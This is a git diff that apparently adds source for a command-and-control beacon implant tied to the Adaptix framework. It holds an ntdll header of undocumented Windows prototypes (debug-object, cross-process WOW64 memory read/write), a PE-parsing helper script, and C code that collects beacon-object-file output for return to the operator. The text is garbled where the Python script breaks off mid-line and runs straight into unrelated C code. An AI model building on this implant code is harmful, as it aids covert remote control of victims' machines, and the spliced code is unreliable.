ULONG Flags, + IN PVOID DllHandle + ); + +NTSTATUS +NTAPI +LdrGetProcedureAddress( + IN PVOID DllHandle, + IN OPTIONAL PANSI_STRING ProcedureName, + IN OPTIONAL ULONG ProcedureNumber, + OUT PVOID *ProcedureAddress + ); + +NTSTATUS +NTAPI +LdrGetProcedureAddressEx( + IN PVOID DllHandle, + IN OPTIONAL PANSI_STRING ProcedureName, + IN OPTIONAL ULONG ProcedureNumber, + OUT PVOID *ProcedureAddress, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +LdrLockLoaderLock( + IN ULONG Flags, + OUT OPTIONAL ULONG *Disposition, + OUT PVOID *Cookie + ); + +NTSTATUS +NTAPI +LdrRelocateImage( + IN PVOID NewBase, + IN PSTR LoaderName, + IN NTSTATUS Success, + IN NTSTATUS Conflict, + IN NTSTATUS Invalid + ); + +NTSTATUS +NTAPI +LdrRelocateImageWithBias( + IN PVOID NewBase, + IN LONGLONG Bias, + IN PSTR LoaderName, + IN NTSTATUS Success, + IN NTSTATUS Conflict, + IN NTSTATUS Invalid + ); + +PIMAGE_BASE_RELOCATION +NTAPI +LdrProcessRelocationBlock( + IN ULONG_PTR VA, + IN ULONG SizeOfBlock, + IN PUSHORT NextOffset, + IN LONG_PTR Diff + ); + +BOOLEAN +NTAPI +LdrVerifyMappedImageMatchesChecksum( + IN PVOID BaseAddress, + IN SIZE_T NumberOfBytes, + IN ULONG FileLength + ); + +NTSTATUS +NTAPI +LdrQueryModuleServiceTags( + IN PVOID DllHandle, + OUT PULONG ServiceTagBuffer, + IN OUT PULONG BufferSize + ); + +NTSTATUS +NTAPI +LdrRegisterDllNotification( + IN ULONG Flags, + IN PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + IN PVOID Context, + OUT PVOID *Cookie + ); + +NTSTATUS +NTAPI +LdrUnregisterDllNotification( + IN PVOID Cookie + ); + +ULONG +NTAPI +CsrGetProcessId( + ); + +void +NTAPI +A_SHAFinal( + PSHA_CTX Context, + PULONG Result + ); + + +PVOID +NTAPI +A_SHAUpdate( + IN OUT PSHA_CTX, + IN PCHAR, + IN UINT + ); + +PVOID +NTAPI +A_SHAInit( + IN OUT PSHA_CTX, + OUT PVOID + ); + +BOOLEAN +NTAPI +RtlDosPathNameToNtPathName_U( + IN PCWSTR DosFileName, + OUT PUNICODE_STRING NtFileName, + OUT PWSTR *FilePart OPTIONAL, + PVOID Reserved + ); + +NTSTATUS +NTAPI +RtlDosPathNameToNtPathName_U_WithStatus( + IN PCWSTR DosFileName, + OUT PUNICODE_STRING NtFileName, + OUT PWSTR *FilePart OPTIONAL, + PVOID Reserved // Must be NULL + ); + +PVOID +NTAPI +RtlAddVectoredExceptionHandler ( + IN ULONG First, + IN PVECTORED_EXCEPTION_HANDLER Handler + ); + +PVOID +NTAPI +RtlAddVectoredContinueHandler ( + IN ULONG First, + IN PVECTORED_EXCEPTION_HANDLER Handler + ); + +NTSTATUS +NTAPI +RtlAnalyzeProfile ( + VOID + ); + +BOOLEAN +NTAPI +RtlCallVectoredContinueHandlers ( + IN PEXCEPTION_RECORD ExceptionRecord, + IN PCONTEXT ContextRecord + ); + +PVOID +RtlEncodePointer( + PVOID Ptr + ); + +PVOID +RtlDecodePointer( + PVOID Ptr + ); + +PVOID +RtlEncodeSystemPointer( + PVOID Ptr + ); + +PVOID +RtlDecodeSystemPointer( + PVOID Ptr + ); + +VOID +NTAPI +RtlDeleteResource( + PRTL_RESOURCE Resource + ); + +NTSTATUS +NTAPI +RtlDeleteSecurityObject( + PSECURITY_DESCRIPTOR * ObjectDescriptor + ); + +BOOLEAN +RtlDllShutdownInProgress( + VOID + ); + +ULONG +NTAPI +RtlGetCurrentProcessorNumber ( + VOID + ); + +#define RTL_UNLOAD_EVENT_TRACE_NUMBER 16 + +typedef struct _RTL_UNLOAD_EVENT_TRACE { + PVOID BaseAddress; // Base address of dll + SIZE_T SizeOfImage; // Size of image + ULONG Sequence; // Sequence number for this event + ULONG TimeDateStamp; // Time and date of image + ULONG CheckSum; // Image checksum + WCHAR ImageName[32]; // Image name +} RTL_UNLOAD_EVENT_TRACE, *PRTL_UNLOAD_EVENT_TRACE; + +typedef struct _RTL_UNLOAD_EVENT_TRACE64 { + ULONGLONG BaseAddress; // Base address of dll + ULONGLONG SizeOfImage; // Size of image + ULONG Sequence; // Sequence number for this event + ULONG TimeDateStamp; // Time and date of image + ULONG CheckSum; // Image checksum + WCHAR ImageName[32]; // Image name +} RTL_UNLOAD_EVENT_TRACE64, *PRTL_UNLOAD_EVENT_TRACE64; + +typedef struct _RTL_UNLOAD_EVENT_TRACE32 { + ULONG BaseAddress; // Base address of dll + ULONG SizeOfImage; // Size of image + ULONG Sequence; // Sequence number for this event + ULONG TimeDateStamp; // Time and date of image + ULONG CheckSum; // Image checksum + WCHAR ImageName[32]; // Image name +} RTL_UNLOAD_EVENT_TRACE32, *PRTL_UNLOAD_EVENT_TRACE32; + +PRTL_UNLOAD_EVENT_TRACE +NTAPI +RtlGetUnloadEventTrace( + VOID + ); + +NTSTATUS +NTAPI +RtlInitializeProfile( + BOOLEAN KernelToo + ); + +typedef BOOLEAN +(NTAPI * +PRTL_IS_THREAD_WITHIN_LOADER_CALLOUT)( + VOID + ); + +BOOLEAN +NTAPI +RtlIsThreadWithinLoaderCallout ( + VOID + ); + +NTSTATUS +NTAPI +RtlSetLFHDebuggingInformation( + PVOID LFHHeap, + PHEAP_DEBUGGING_INFORMATION DebuggingInformation + ); + +ULONG +NTAPI +RtlMultipleAllocateHeap ( + IN PVOID HeapHandle, + IN ULONG Flags, + IN SIZE_T Size, + IN ULONG Count, + OUT PVOID * Array + ); + +ULONG +NTAPI +RtlMultipleFreeHeap ( + IN PVOID HeapHandle, + IN ULONG Flags, + IN ULONG Count, + OUT PVOID * Array + ); + +NTSTATUS +NTAPI +RtlNewSecurityObjectEx ( + IN PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL, + IN PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL, + OUT PSECURITY_DESCRIPTOR * NewDescriptor, + IN GUID *ObjectType OPTIONAL, + IN BOOLEAN IsDirectoryObject, + IN ULONG AutoInheritFlags, + IN HANDLE Token, + IN PGENERIC_MAPPING GenericMapping + ); + +NTSTATUS +NTAPI +RtlNewSecurityObjectWithMultipleInheritance ( + IN PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL, + IN PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL, + OUT PSECURITY_DESCRIPTOR * NewDescriptor, + IN GUID **pObjectType OPTIONAL, + IN ULONG GuidCount, + IN BOOLEAN IsDirectoryObject, + IN ULONG AutoInheritFlags, + IN HANDLE Token, + IN PGENERIC_MAPPING GenericMapping + ); + +#if !defined(_WINDOWS_) +NTSTATUS +NTAPI +RtlSetHeapInformation ( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + IN PVOID HeapInformation OPTIONAL, + IN SIZE_T HeapInformationLength OPTIONAL + ); + +NTSTATUS +NTAPI +RtlQueryHeapInformation ( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + OUT PVOID HeapInformation OPTIONAL, + IN SIZE_T HeapInformationLength OPTIONAL, + OUT PSIZE_T ReturnLength OPTIONAL + ); +#endif + +NTSTATUS +NTAPI +RtlQuerySecurityObject ( + PSECURITY_DESCRIPTOR ObjectDescriptor, + SECURITY_INFORMATION SecurityInformation, + PSECURITY_DESCRIPTOR ResultantDescriptor, + ULONG DescriptorLength, + PULONG ReturnLength + ); + +NTSTATUS +NTAPI +RtlRegisterWait( + OUT PHANDLE WaitHandle, + IN HANDLE Handle, + IN WAITORTIMERCALLBACKFUNC Function, + IN PVOID Context, + IN ULONG Milliseconds, + IN ULONG Flags + ); + +ULONG +NTAPI +RtlRemoveVectoredContinueHandler ( + IN PVOID Handle + ); + +ULONG +NTAPI +RtlRemoveVectoredExceptionHandler ( + IN PVOID Handle + ); + +NTSTATUS +NTAPI +RtlSetIoCompletionCallback( + IN HANDLE FileHandle, + IN APC_CALLBACK_FUNCTION CompletionProc, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlSetSecurityObject( + SECURITY_INFORMATION SecurityInformation, + PSECURITY_DESCRIPTOR ModificationDescriptor, + PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, + PGENERIC_MAPPING GenericMapping, + HANDLE Token + ); + +NTSTATUS +NTAPI +RtlSetSecurityObjectEx( + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR ModificationDescriptor, + IN OUT PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, + IN ULONG AutoInheritFlags, + IN PGENERIC_MAPPING GenericMapping, + IN HANDLE Token OPTIONAL + ); + +typedef ULONG (NTAPI RTLP_UNHANDLED_EXCEPTION_FILTER) ( + struct _EXCEPTION_POINTERS *ExceptionInfo + ); + +typedef RTLP_UNHANDLED_EXCEPTION_FILTER *PRTLP_UNHANDLED_EXCEPTION_FILTER; + +VOID +RtlSetUnhandledExceptionFilter ( + PRTLP_UNHANDLED_EXCEPTION_FILTER UnhandledExceptionFilter + ); + +NTSTATUS +NTAPI +RtlStartProfile ( + VOID + ); + +NTSTATUS +NTAPI +RtlStopProfile ( + VOID + ); + +NTSTATUS +RtlWow64EnableFsRedirection( + IN BOOLEAN Wow64FsEnableRedirection + ); + + +NTSTATUS +RtlWow64EnableFsRedirectionEx( + IN PVOID Wow64FsEnableRedirection, + OUT PVOID *OldFsRedirectionLevel + ); + +NTSTATUS +NTAPI +RtlRegisterWait( + OUT PHANDLE WaitHandle, + IN HANDLE Handle, + IN WAITORTIMERCALLBACKFUNC Function, + IN PVOID Context, + IN ULONG Milliseconds, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlDeregisterWait( + IN HANDLE WaitHandle + ); + +NTSTATUS +NTAPI +RtlDeregisterWaitEx( + IN HANDLE WaitHandle, + IN HANDLE Event + ); + +#define RtlEqualMemory(Destination,Source,Length) (!memcmp((Destination),(Source),(Length))) +#define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length)) +#define RtlCopyMemory(Destination,Source,Length) memcpy((Destination),(Source),(Length)) +#define RtlFillMemory(Destination,Length,Fill) memset((Destination),(Fill),(Length)) +#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length)) + +typedef +VOID +(*PKNORMAL_ROUTINE) +(IN PVOID NormalContext, + IN PVOID SystemArgument1, + IN PVOID SystemArgument2 + ); + +VOID +KiUserCallbackDispatcher( + IN ULONG ApiNumber, + IN PVOID InputBuffer, + IN ULONG INputLength + ); + +NTSTATUS +NTAPI +CsrClientConnectToServer( + IN PWSTR ObjectDirectory, + IN ULONG ServertDllIndex, + IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, + IN PVOID ConnectionInformation, + IN OUT PULONG ConnectionInformationLength OPTIONAL, + OUT PBOOLEAN CalledFromServer OPTIONAL + ); + + +NTSTATUS +NTAPI +CsrClientCallServer( + IN OUT PCSR_API_MSG m, + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer OPTIONAL, + IN CSR_API_NUMBER ApiNumber, + IN ULONG ArgLength + ); + + +PCSR_CAPTURE_HEADER +NTAPI +CsrAllocateCaptureBuffer( + IN ULONG CountMessagePointers, + IN ULONG CountCapturePointers, + IN ULONG Size + ); + +VOID +NTAPI +CsrFreeCaptureBuffer( + IN PCSR_CAPTURE_HEADER CaptureBuffer + ); + + +ULONG +NTAPI +CsrAllocateMessagePointer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN ULONG Length, + OUT PVOID *Pointer + ); + +VOID +NTAPI +CsrCaptureMessageBuffer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PVOID Buffer OPTIONAL, + IN ULONG Length, + OUT PVOID *CapturedBuffer + ); + +VOID +NTAPI +CsrCaptureMessageString( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PCSTR String, + IN ULONG Length, + IN ULONG MaximumLength, + OUT PSTRING CapturedString + ); + +PLARGE_INTEGER +NTAPI +CsrCaptureTimeout( + IN ULONG Milliseconds, + OUT PLARGE_INTEGER Timeout + ); + +VOID +NTAPI +CsrProbeForWrite( + IN PVOID Address, + IN ULONG Length, + IN ULONG Alignment + ); + +VOID +NTAPI +CsrProbeForRead( + IN PVOID Address, + IN ULONG Length, + IN ULONG Alignment + ); + +NTSTATUS +NTAPI +CsrNewThread( + VOID + ); + +NTSTATUS +NTAPI +CsrIdentifyAlertableThread( + VOID + ); + +NTSTATUS +NTAPI +CsrSetPriorityClass( + IN HANDLE ProcessHandle, + IN OUT PULONG PriorityClass + ); + +//added 20/03/2011 +NTSTATUS +NTAPI +RtlCreateProcessReflection( + IN HANDLE ProcessHandle, + IN ULONG Flags, + IN OPTIONAL PVOID StartRoutine, + IN OPTIONAL PVOID StartContext, + IN OPTIONAL HANDLE EventHandle, + OUT OPTIONAL PRTL_PROCESS_REFLECTION_INFORMATION ReflectionInformation + ); + + +NTSTATUS +NTAPI +RtlCloneUserProcess( + IN ULONG ProcessFlags, + IN OPTIONAL PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + IN OPTIONAL PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + IN OPTIONAL HANDLE DebugPort, + OUT PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + + +VOID +NTAPI +LdrShutdownProcess( + ); + +NTSTATUS +NTAPI +RtlQueryProcessModuleInformation( + IN HANDLE hProcess OPTIONAL, + IN ULONG Flags, + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessBackTraceInformation( + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessHeapInformation( + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessLockInformation( + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +PRTL_DEBUG_INFORMATION +NTAPI +RtlCreateQueryDebugBuffer( + IN ULONG MaximumCommit OPTIONAL, + IN BOOLEAN UseEventPair + ); + +NTSTATUS +NTAPI +RtlDestroyQueryDebugBuffer( + IN PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessDebugInformation( + IN HANDLE UniqueProcessId, + IN ULONG Flags, + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlCreateTimer( + IN HANDLE TimerQueueHandle, + OUT HANDLE *Handle, + IN WAITORTIMERCALLBACKFUNC Function, + IN PVOID Context, + IN ULONG DueTime, + IN ULONG Period, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlUpdateTimer( + IN HANDLE TimerQueueHandle, + IN HANDLE TimerHandle, + IN ULONG DueTime, + IN ULONG Period + ); + +NTSTATUS +NTAPI +RtlDeleteTimer( + IN HANDLE TimerQueueHandle, + IN HANDLE TimerToCancel, + IN HANDLE Event + ); + +NTSTATUS +NTAPI +RtlDeleteTimerQueue( + IN HANDLE TimerQueueHandle + ); + +NTSTATUS +NTAPI +RtlDeleteTimerQueueEx( + IN HANDLE TimerQueueHandle, + IN HANDLE Event + ); + + +BOOLEAN +NTAPI +RtlDoesFileExists_U( + PCWSTR FileName + ); + + +ULONG +RtlGetCurrentDirectory_U( + ULONG nBufferLength, + PWSTR lpBuffer + ); + +NTSTATUS +RtlSetCurrentDirectory_U( + PUNICODE_STRING PathName + ); + + +ULONG +RtlDosSearchPath_U( + IN PWSTR lpPath, + IN PWSTR lpFileName, + IN PWSTR lpExtension OPTIONAL, + IN ULONG nBufferLength, + OUT PWSTR lpBuffer, + OUT PWSTR *lpFilePart + ); + + +void +NTAPI +RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + +ULONG +NTAPI +RtlGetFullPathName_U( + IN PCWSTR lpFileName, + IN ULONG nBufferLength, + OUT PWSTR lpBuffer, + OUT OPTIONAL PWSTR *lpFilePart + ); + +LONG +NTAPI +RtlCompareString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + + +NTSTATUS +NTAPI +LdrRegisterDllNotification( + IN ULONG Flags, + IN PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + IN PVOID Context, + OUT PVOID *Cookie + ); + + +NTSTATUS +NTAPI +LdrUnregisterDllNotification( + IN PVOID Cookie + ); + +NTSTATUS +NTAPI +TpAllocWork( + OUT PTP_WORK *WorkReturn, + IN PTP_WORK_CALLBACK Callback, + IN PVOID Context, + IN PTP_CALLBACK_ENVIRON CallbackEnviron + ); + +VOID +NTAPI +TpPostWork( + IN PTP_WORK Work + ); + +VOID +NTAPI +TpReleaseWork( + IN PTP_WORK Work + ); + +ULONG +NTAPI +EtwRegisterSecurityProvider(); + +ULONG +NTAPI +EtwWriteUMSecurityEvent( + PCEVENT_DESCRIPTOR EventDescriptor, + USHORT EventProperty, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData); + + +ULONG +NTAPI +EtwEventWriteEndScenario( + REGHANDLE RegHandle, + PCEVENT_DESCRIPTOR EventDescriptor, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData + ); + +ULONG +NTAPI +EtwEventWriteFull( + REGHANDLE RegHandle, + PCEVENT_DESCRIPTOR EventDescriptor, + USHORT EventProperty, + LPCGUID ActivityId, + LPCGUID RelatedActivityId, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData + ); + + +ULONG +NTAPI +EtwEventWriteStartScenario( + REGHANDLE RegHandle, + PCEVENT_DESCRIPTOR EventDescriptor, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData + ); + + +// +// old channel apis, from nt4 +// + +NTSTATUS +NTAPI +NtCreateChannel ( + OUT PHANDLE ChannelHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL + ); + +NTSTATUS +NTAPI +NtOpenChannel ( + OUT PHANDLE ChannelHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS +NTAPI +NtListenChannel ( + IN HANDLE ChannelHandle, + OUT PCHANNEL_MESSAGE *Message + ); + +NTSTATUS +NTAPI +NtSendWaitReplyChannel ( + IN HANDLE ChannelHandle, + IN PVOID Text, + IN ULONG Length, + OUT PCHANNEL_MESSAGE *Message + ); + +NTSTATUS +NTAPI +NtReplyWaitSendChannel ( + IN PVOID Text, + IN ULONG Length, + OUT PCHANNEL_MESSAGE *Message + ); + + +ULONG +NTAPI +AlpcUnregisterCompletionListWorkerThread( + PVOID CompletionList + ); + + +void +NTAPI +RtlUpdateClonedCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +RtlGetFullPathName_UstrEx( + PUNICODE_STRING FileName, + PUNICODE_STRING StaticString, + PUNICODE_STRING DynamicString, + PPUNICODE_STRING StringUsed, + PULONG FilePartPrefixCch, + PUCHAR NameInvalid, + PRTL_PATH_TYPE InputPathType, + PULONG BytesRequired); + +int +NTAPI +LdrInitShimEngineDynamic( + PVOID pShimEngineModule); + +NTSTATUS +NTAPI +NtCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + ULONG TitleIndex, + IN OPTIONAL PUNICODE_STRING Class, + IN ULONG CreateOptions, + OUT OPTIONAL PULONG Disposition + ); + +NTSTATUS +NTAPI +NtSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN OPTIONAL ULONG TitleIndex, + IN ULONG Type, + IN OPTIONAL PVOID Data, + IN ULONG DataSize + ); + +NTSTATUS +NTAPI +NtDeleteFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS +RtlGetVersion( + OUT PRTL_OSVERSIONINFOW lpVersionInformation + ); + +NTSTATUS +NTAPI +ZwWow64QueryInformationProcess64( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +ZwWow64QueryVirtualMemory64( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN MEMORY_INFORMATION_CLASS MemoryInformationClass, + OUT PVOID MemoryInformation, + IN SIZE_T MemoryInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + +NTSTATUS +NTAPI +ZwWow64ReadVirtualMemory64( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + +NTSTATUS +NTAPI +ZwWow64WriteVirtualMemory64( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN CONST VOID *Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + +void +NTAPI +ZwWow64GetCurrentProcessorNumberEx( + OUT PPROCESSOR_NUMBER ProcNumber +); + +PCSR_CAPTURE_HEADER +NTAPI +ZwWow64CsrAllocateCaptureBuffer( + IN ULONG CountMessagePointers, + IN ULONG CountCapturePointers, + IN ULONG Size + ); + +ULONG +NTAPI +ZwWow64CsrAllocateMessagePointer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN ULONG Length, + OUT PVOID *Pointer + ); + +void +NTAPI +ZwWow64CsrCaptureMessageBuffer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PVOID Buffer OPTIONAL, + IN ULONG Length, + OUT PVOID *CapturedBuffer + ); + +void +NTAPI +ZwWow64CsrCaptureMessageString( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PCSTR String, + IN ULONG Length, + IN ULONG MaximumLength, + OUT PSTRING CapturedString + ); + +NTSTATUS +NTAPI +ZwWow64CsrClientConnectToServer( + IN PWSTR ObjectDirectory, + IN ULONG ServerDllIndex, + IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, + IN PVOID ConnectionInformation, + IN OUT PULONG ConnectionInformationLength OPTIONAL, + OUT PBOOLEAN CalledFromServer OPTIONAL + ); + +void +NTAPI +ZwWow64CsrFreeCaptureBuffer( + IN PCSR_CAPTURE_HEADER CaptureBuffer + ); + +NTSTATUS +NTAPI +ZwWow64CsrIdentifyAlertableThread( + void + ); + +NTSTATUS +NTAPI +ZwWow64DebuggerCall ( + IN ULONG ServiceClass, + IN ULONG Arg1, + IN ULONG Arg2 + ); + +NTSTATUS +NTAPI +RtlCleanUpTEBLangLists( + void + ); + +VOID +KiUserApcDispatcher ( + PVOID NormalContext, + PVOID SystemArgument1, + PVOID SystemArgument2, + PKNORMAL_ROUTINE NormalRoutine + ); + +VOID +KiUserExceptionDispatcher ( + PEXCEPTION_RECORD ExceptionRecord, + PCONTEXT ContextFrame + ); + +NTSTATUS +NTAPI +NtCreateDebugObject( + OUT PHANDLE DebugObjectHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +NtDebugActiveProcess( + IN HANDLE ProcessHandle, + IN HANDLE DebugObjectHandle + ); + +NTSTATUS +NTAPI +NtDebugContinue( + IN HANDLE DebugObjectHandle, + IN PCLIENT_ID ClientId, + IN NTSTATUS ContinueStatus + ); + +NTSTATUS +NTAPI +NtRemoveProcessDebug( + IN HANDLE ProcessHandle, + IN HANDLE DebugObjectHandle + ); + +NTSTATUS +NTAPI +NtSetInformationDebugObject( + IN HANDLE DebugObjectHandle, + IN DEBUGOBJECTINFOCLASS DebugObjectInformationClass, + IN PVOID DebugInformation, + IN ULONG DebugInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + +NTSTATUS +NTAPI +NtWaitForDebugEvent( + IN HANDLE DebugObjectHandle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout, + OUT PVOID WaitStateChange + ); + +// Debugging UI + +NTSTATUS +NTAPI +DbgUiConnectToDbg( + VOID + ); + +HANDLE +NTAPI +DbgUiGetThreadDebugObject( + VOID + ); + +VOID +NTAPI +DbgUiSetThreadDebugObject( + IN HANDLE DebugObject + ); + +NTSTATUS +NTAPI +DbgUiWaitStateChange( + OUT PDBGUI_WAIT_STATE_CHANGE StateChange, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + +NTSTATUS +NTAPI +DbgUiContinue( + IN PCLIENT_ID AppClientId, + IN NTSTATUS ContinueStatus + ); + +NTSTATUS +NTAPI +DbgUiStopDebugging( + IN HANDLE Process + ); + +NTSTATUS +NTAPI +DbgUiDebugActiveProcess( + IN HANDLE Process + ); + +VOID +NTAPI +DbgUiRemoteBreakin( + IN PVOID Context + ); + +NTSTATUS +NTAPI +DbgUiIssueRemoteBreakin( + IN HANDLE Process + ); + +VOID +NTAPI +RtlExitUserProcess( + IN NTSTATUS ExitStatus + ); + +NTSTATUS +NTAPI +RtlQueueWorkItem( + IN WORKERCALLBACKFUNC CallbackFunction, + IN OPTIONAL PVOID Context, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +RtlCreateUserStack( + SIZE_T CommittedStackSize, + SIZE_T MaximumStackSize, + SIZE_T ZeroBits, + ULONG PageSize, + ULONG ReserveAlignment, + PINITIAL_TEB InitialTeb + ); + + +LRESULT +NTAPI +NtdllDefWindowProc_W( + ); + + +LRESULT +NTAPI +NtdllDefWindowProc_A( + ); + + +NTSTATUS +NTAPI +LdrQueryProcessModuleInformation( + PRTL_PROCESS_MODULES ModuleInformation, + ULONG ModuleInformationLength, + PULONG ReturnLength + ); + + + +// +// end non-crt prototypes +// + + +// +// nt crt +// +//please do not change swprintf stuff otherwise win32 mode is always trashed +#if !defined(_NO_NTDLL_CRT_) +int __cdecl vsprintf( char *, const char *, va_list ); +int __cdecl _vsnprintf( char *, size_t, const char *, va_list ); +int __cdecl sprintf( char *, const char *, ... ); +int __cdecl _snprintf( char *, size_t, const char *, ... ); +int __cdecl _snwprintf( wchar_t *, size_t, const wchar_t *, ... ); +int __cdecl swprintf( wchar_t *, const wchar_t *, ... ); +int __cdecl sscanf( const char *, const char *, ... ); +int __cdecl _vscwprintf( const wchar_t *, va_list ); +int __cdecl _vsnwprintf( wchar_t *, size_t, const wchar_t *, va_list ); + +//readded 4 jan 2012 +//win64 mode does not need this +//for using this routines ntdllp.lib is required +#if !defined(_M_X64) +IMPORT_FN size_t __cdecl wcslen(const wchar_t *); +IMPORT_FN wchar_t * __cdecl wcscat(wchar_t *dst, const wchar_t *src); +IMPORT_FN int __cdecl wcscmp(const wchar_t *src, const wchar_t *dst); +IMPORT_FN int __cdecl _wcsicmp(const wchar_t *, const wchar_t *); +IMPORT_FN int __cdecl _wcsnicmp(const wchar_t *, const wchar_t *, size_t); +IMPORT_FN wchar_t * __cdecl _wcslwr(wchar_t *); +IMPORT_FN wchar_t * __cdecl _wcsupr(wchar_t *); +//IMPORT_FN wchar_t * __cdecl wcschr(const wchar_t *string, wchar_t ch); +IMPORT_FN wchar_t * __cdecl wcscpy(wchar_t *dst, const wchar_t *src); +IMPORT_FN wchar_t * __cdecl wcsncat(wchar_t *front, const wchar_t *back, size_t count); +IMPORT_FN wchar_t * __cdecl wcsncpy(wchar_t *dest, const wchar_t *source, size_t count); +#endif //_M_X64 + +#endif // _NO_NTDLL_CRT_ + +#ifdef __cplusplus + +#endif + +NTSYSAPI +ULONG +NTAPI +RtlRandomEx( + PULONG Seed +); + +//NTSYSAPI +//NTSTATUS +//RtlIpv4StringToAddressA( +// PCSTR S, +// BOOLEAN Strict, +// PCSTR* Terminator, +// in_addr* Addr +//); + +#endif /* _NTDLL_ */ \ No newline at end of file diff --git a/src_beacon/scripts/pe_text_rva.py b/src_beacon/scripts/pe_text_rva.py new file mode 100644 index 0000000..d60df5c --- /dev/null +++ b/src_beacon/scripts/pe_text_rva.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python3 +"""Print the .text section VirtualAddress (RVA) from a PE file as 8 hex chars.""" +import struct, sys + +with open(sys.argv[1], "rb") as f: + f.seek(0x3C) + pe_off = struct.unpack("BofCtx; + if ( !ctx->Buf ) return; + + /* Adaptix sends each BeaconOutput call as a separate message. We + * concatenate into one buffer, so insert '\n' between consecutive + * calls when the previous one didn't end with one. */ + if ( ctx->Len > 0 && ctx->Buf[ ctx->Len - 1 ] != '\n' ) { + UINT32 sp = ( ctx->Cap > ctx->Len + 1u ) ? 1u : 0u; + if ( sp ) { ctx->Buf[ ctx->Len ] = '\n'; ctx->Len++; } + } + + /* leave 1 byte for null terminator */ + UINT32 space = ( ctx->Cap > ctx->Len + 1u ) ? ( ctx->Cap - ctx->Len - 1u ) : 0; + if ( space == 0 ) return; + + UINT32 copy = ( (UINT32)len <= space ) ? (UINT32)len : space; + MmCopy( ctx->Buf + ctx->Len, (PVOID)data, copy ); + ctx->Len += copy; + ctx->Buf[ctx->Len] = '\0'; +} + +FUNC VOID BeaconPrintf( INT type, const CHAR* fmt, ... ) { + G_INSTANCE; + if ( !Nax ) return; + + CHAR buf[1024]; + __builtin_va_list args; + __builtin_va_start( args, fmt ); + INT n = Nax->Ntdll._vsnprintf( buf, sizeof( buf ) - 1, fmt, args ); + __builtin_va_end( args ); + if ( n < 0 || n >= (INT)( sizeof( buf ) - 1 ) ) n = (INT)( sizeof( buf ) - 1 ); + buf[ n ] = '\0'; + BeaconOutput( type, buf, n ); +} + +/* ========= [ data parsing ] ========= */ + +/* BeaconDataPtr - advance parser by 'size' bytes and return the pointer. + * Unlike BeaconDataExtract it does NOT read a length prefix; the caller + 